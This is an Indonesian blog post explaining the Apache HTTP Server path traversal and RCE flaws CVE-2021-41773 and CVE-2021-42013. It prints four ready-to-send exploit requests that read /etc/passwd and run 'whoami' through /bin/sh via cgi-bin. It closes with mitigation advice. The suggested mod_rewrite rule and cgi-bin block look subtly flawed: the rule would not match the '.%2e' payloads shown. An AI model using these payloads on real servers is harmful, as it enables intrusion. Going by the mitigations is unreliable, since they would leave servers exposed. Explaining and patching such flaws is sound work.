Langsung ke konten utama

Apache HTTP Server Path Traversal & Remote Code Execution (CVE-2021-41773 & CVE-2021-42013)


Apa itu Path Traversal & Remote Code Execution?

Path traversal adalah teknik serangan yang memanfaatkan kelemahan dalam validasi input untuk mengakses file atau direktori yang berada di luar batas yang ditentukan oleh aplikasi web. Dengan melakukan path traversal, penyerang dapat membaca, menulis, atau menghapus file yang sensitif atau penting pada server web.

Remote code execution (RCE) adalah kemampuan penyerang untuk menjalankan kode jahat pada server web yang rentan. Dengan melakukan RCE, penyerang dapat mengambil alih kendali server web, mencuri data, menyebarkan malware, atau melakukan aktivitas jahat lainnya.

Apa itu CVE-2021-41773 & CVE-2021-42013?

CVE-2021-41773 dan CVE-2021-42013 adalah dua kerentanan yang ditemukan pada Apache HTTP Server versi 2.4.49 dan 2.4.50. Kerentanan ini memungkinkan penyerang untuk melakukan path traversal dan RCE pada server web yang menggunakan konfigurasi non-default.

CVE-2021-41773 ditemukan pada tanggal 4 Oktober 2021 oleh Ash Daulton dan tim keamanan cPanel. Kerentanan ini disebabkan oleh perubahan kode yang tidak memadai untuk melakukan normalisasi path, yaitu proses untuk menghapus bagian yang tidak diinginkan atau berbahaya dari pathname URL. Kode yang rentan tidak dapat mendeteksi berbagai teknik encoding karakter path traversal “dot-dot-slash (…/)”.

CVE-2021-42013 ditemukan pada tanggal 7 Oktober 2021 sebagai perbaikan yang tidak lengkap untuk CVE-2021-41773 pada Apache HTTP Server versi 2.4.50. Kerentanan ini tidak menutup kemungkinan penggunaan double URL encoding, sehingga konfigurasi yang rentan tetap sama, tetapi payload yang digunakan pada versi 2.4.49 harus di-double URL encode pada versi 2.4.50 untuk melakukan serangan path traversal dan RCE yang sama.

Bagaimana cara mendeteksi dan menguji kerentanan ini?

Untuk mendeteksi dan menguji kerentanan ini, penyerang dapat mengirimkan HTTP request yang dibuat khusus ke server web yang menggunakan Apache HTTP Server versi 2.4.49 atau 2.4.50. HTTP request tersebut harus mengandung path yang mengandung karakter dot-dot-slash (…/) yang di-encode dengan berbagai cara, seperti %2e, %252e, atau %u002e. Selain itu, HTTP request tersebut harus ditujukan ke direktori cgi-bin, yang merupakan direktori default untuk menjalankan skrip CGI pada server web.

Berikut adalah contoh HTTP request yang dapat digunakan untuk melakukan path traversal dan membaca file /etc/passwd pada server web yang menggunakan Apache HTTP Server versi 2.4.49:

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Berikut adalah contoh HTTP request yang dapat digunakan untuk melakukan RCE dan menjalankan perintah whoami pada server web yang menggunakan Apache HTTP Server versi 2.4.49:

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
echo;echo;whoami;echo;echo

Berikut adalah contoh HTTP request yang dapat digunakan untuk melakukan path traversal dan membaca file /etc/passwd pada server web yang menggunakan Apache HTTP Server versi 2.4.50:

GET /cgi-bin/.%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Berikut adalah contoh HTTP request yang dapat digunakan untuk melakukan RCE dan menjalankan perintah whoami pada server web yang menggunakan Apache HTTP Server versi 2.4.50:

GET /cgi-bin/.%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
echo;echo;whoami;echo;echo

Bagaimana cara mencegah dan mengatasi kerentanan ini?

Untuk mencegah dan mengatasi kerentanan ini, pengguna Apache HTTP Server harus segera memperbarui versi server web mereka ke versi 2.4.51 atau lebih tinggi, yang telah memperbaiki masalah normalisasi path. Selain itu, pengguna juga harus memeriksa konfigurasi server web mereka dan memastikan bahwa direktori cgi-bin tidak diizinkan untuk menjalankan skrip CGI secara global, atau hanya mengizinkan skrip CGI yang terpercaya dan aman. Pengguna juga dapat menggunakan modul mod_rewrite untuk menolak HTTP request yang mengandung karakter dot-dot-slash (…/) yang di-encode dengan berbagai cara.

Berikut adalah contoh konfigurasi yang dapat digunakan untuk membatasi akses ke direktori cgi-bin:

<Directory "/usr/local/apache2/cgi-bin">
Require all denied
<FilesMatch "\.(cgi|pl|py|sh)$">
Require all granted
</FilesMatch>
</Directory>

Berikut adalah contoh konfigurasi yang dapat digunakan untuk menggunakan mod_rewrite untuk menolak HTTP request yang mengandung karakter dot-dot-slash (…/) yang di-encode dengan berbagai cara:

RewriteEngine On
RewriteCond %{THE_REQUEST} \.\.(%2e|%252e|%u002e)+ [NC]
RewriteRule ^ - [F]

Kesimpulan

CVE-2021-41773 dan CVE-2021-42013 adalah dua kerentanan yang serius yang mempengaruhi Apache HTTP Server versi 2.4.49 dan 2.4.50. Kerentanan ini memungkinkan penyerang untuk melakukan path traversal dan RCE pada server web yang menggunakan konfigurasi non-default. Kerentanan ini telah diketahui dieksploitasi di dunia nyata. Pengguna Apache HTTP Server harus segera memperbarui versi server web mereka ke versi 2.4.51 atau lebih

Reference:
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE … https://www.exploit-db.com/exploits/50383.
thehackersbrain/CVE-2021-41773: Apache2 2.4.49 - GitHub. https://github.com/thehackersbrain/CVE-2021-41773.

Komentar

Postingan populer dari blog ini

Fungsi lain tombol penerima panggilan di headset

Kegunaan tombol yang berada di headset utamanya adalah untuk menerima panggilan dan pause panggilan. Dan headset itu sendiri, kadang juga digunakan untuk mendengarkan music, digunakan bersama saat main game, supaya suara yang dikeluarkan oleh gadget tidak terlalu keras sehingga mengurangi beban gadget. Dengan mengurangi beban gadget, ada beberapa yang beranggapan kalau itu akan menghemat batere.

Apa itu index file seperti index.html, index.php kegunaannya dan bagaimana membuat custom nya

Index file adalah file yang berfungsi sebagai halaman utama atau tampilan pertama dari sebuah website. File ini memiliki nama default yang bervariasi, tergantung pada jenis server dan konfigurasinya, namun beberapa nama default yang umum digunakan adalah index.html, index.php, index.jsp, atau index.asp.

Membersihkan cache dan dalvik-cache menggunakan link2sd

Mungkin banyak yang menanyakan kenapa internalnya selalu berkurang free space nya. Padahal tidak menginstall applikasi baru. Hanya melakukan aktifitas normal. Dan sampai pada waktunya, internal memory low dan tidak bisa menambah aplikasi baru lagi.  Ada kemungkinan file cache dari sebuah aplikasi atau dalvik yang dibuat oleh OS android sudah  mulai membengkak. Sehingga perlu di bersihkan secara manual supaya tersedia penyimpanan kosong yang banyak. Sebelum mengetahui cara membersihkan cache dan dalvik cache, kita kupas sekilas apa itu cache dan dalvik cache. Cache adalah sebuah data file sementara yang di hasilkan oleh sebuah applikasi guna mempercepat pemrosesan dimasa yang akan datang (Cache Wikipedia) .  Dalvik-cache adalah ruang kosong sementara yang di pake oleh java virtual machine untuk menjalankan aplikasi android (Dalvik Wikipedia) .